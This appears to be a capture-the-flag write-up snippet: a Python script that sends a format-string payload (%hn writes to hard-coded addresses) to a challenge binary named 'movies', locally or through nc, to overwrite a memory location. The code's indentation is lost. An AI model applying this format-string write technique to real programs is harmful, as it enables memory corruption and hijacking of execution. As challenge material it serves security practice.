Rating:

#!/usr/bin/python

# Usage: ./moviestore.py | ./movies
# Usage: ./moviestore.py | nc <host> <port>

# s = "AAAABBBB%00000x%5$hp%0000x%6$hp"
s = "\x56\xf1\x04\x08\x54\xf1\x04\x08%02044x%5$hn%35315x%6$hn"

# Want to write value 080491F7
# to 804F154

for c in s:
print "b"
print ord(c)

for c in xrange(128, 256, 1):
print "b"
print c

print "c"

Original writeup (https://gist.github.com/awreece/5745930).